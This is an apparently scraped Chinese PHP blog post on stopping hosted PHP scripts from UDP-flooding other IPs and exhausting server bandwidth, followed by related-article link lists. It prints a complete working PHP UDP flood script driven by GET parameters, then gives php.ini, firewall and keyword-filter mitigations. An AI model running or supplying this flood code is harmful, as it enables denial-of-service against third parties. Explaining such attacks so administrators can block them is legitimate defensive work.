防止用户利用PHP代码DOS造成用光网络带宽


Posted in PHP onMarch 01, 2011

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:

$packets = 0; 
$ip = $_GET[\'ip\']; 
$rand = $_GET[\'port\']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_GET[\'time\']; 
$time = time(); 
print \"Flooded: $ip on port $rand 
\"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= \"X\"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\"; 
?>

表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
禁止上述的代码:
在c:\windows\php.ini里设置:
disable_functions =gzinflate;
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
前面的;号要保留
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
另外,对于没加密的php攻击代码,还可以用以下办法处理:
1.在IP策略,或防火墙中,禁止所有udp向外发送
2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词
PHP 相关文章推荐
PHP读写文件的方法(生成HTML)
Nov 27 PHP
PHPMailer邮件发送的实现代码
May 04 PHP
基于PHP异步执行的常用方式详解
Jun 03 PHP
基于递归实现的php树形菜单代码
Nov 19 PHP
js+php实现静态页面实时调用用户登陆状态的方法
Jan 04 PHP
php中动态调用函数的方法
Mar 16 PHP
Symfony2函数用法实例分析
Mar 18 PHP
Thinkphp通过一个入口文件如何区分移动端和PC端
Apr 18 PHP
PHP实现通过CURL上传文件功能示例
May 30 PHP
PHP中使用CURL发送get/post请求上传图片批处理功能
Oct 15 PHP
PHP PDOStatement::setFetchMode讲解
Feb 03 PHP
为你的 Laravel 验证器加上多验证场景的实现
Apr 07 PHP
php Smarty 字符比较代码
Feb 27 #PHP
php下批量挂马和批量清马代码
Feb 27 #PHP
php SQL Injection with MySQL
Feb 27 #PHP
PHP的SQL注入实现(测试代码安全不错)
Feb 27 #PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
You might like
给多个地址发邮件的类
2006/10/09 PHP
基于MySQL到MongoDB简易对照表的详解
2013/06/03 PHP
PHP中使用glob函数实现一句话删除某个目录下的所有文件
2014/07/22 PHP
php从memcache读取数据再批量写入mysql的方法
2014/12/29 PHP
PHP简单日历实现方法
2016/07/20 PHP
探究Laravel使用env函数读取环境变量为null的问题
2016/12/06 PHP
javascript下给元素添加事件的方法与代码
2007/08/13 Javascript
Js组件的一些写法
2010/09/10 Javascript
jquery easyui 对于开始时间小于结束时间的判断示例
2014/03/22 Javascript
javascript动态控制服务器控件实例
2014/09/05 Javascript
基于JavaScript代码实现自动生成表格
2016/06/15 Javascript
js中setTimeout的妙用--防止循环超时
2017/03/06 Javascript
ES6数组的扩展详解
2017/04/25 Javascript
基于node.js之调试器详解
2017/08/22 Javascript
基于Vue制作组织架构树组件
2017/12/06 Javascript
Node.js Koa2使用JWT进行鉴权的方法示例
2018/08/17 Javascript
原生js实现淘宝放大镜效果
2020/10/28 Javascript
详解在React-Native中持久化redux数据
2019/05/22 Javascript
jquery实现抽奖功能
2020/10/22 jQuery
JavaScript中遍历的十种方法总结
2020/12/15 Javascript
使用Python的web.py框架实现类似Django的ORM查询的教程
2015/05/02 Python
Python编程中用close()方法关闭文件的教程
2015/05/24 Python
python脚本当作Linux中的服务启动实现方法
2019/06/28 Python
python 实现从高分辨图像上抠取图像块
2020/01/02 Python
Python smtp邮件发送模块用法教程
2020/06/15 Python
STAY JAPAN台湾:预订日本民宿
2018/07/22 全球购物
CheapTickets泰国:廉价航班,查看促销价格并预订机票
2019/12/28 全球购物
澳大利亚领先的女性运动服品牌:Lorna Jane
2020/06/19 全球购物
可靠的数据流传输TCP
2016/03/15 面试题
怎么写自荐书范文
2014/02/12 职场文书
幼儿园儿童节活动主持词+串词大全
2014/03/21 职场文书
文明村镇申报材料
2014/05/06 职场文书
募捐感谢信
2015/01/22 职场文书
2015暑期社会实践调查报告
2015/07/14 职场文书
2015年街道办事处团委工作总结
2015/10/14 职场文书
vue使用v-model进行跨组件绑定的基本实现方法
2021/04/28 Vue.js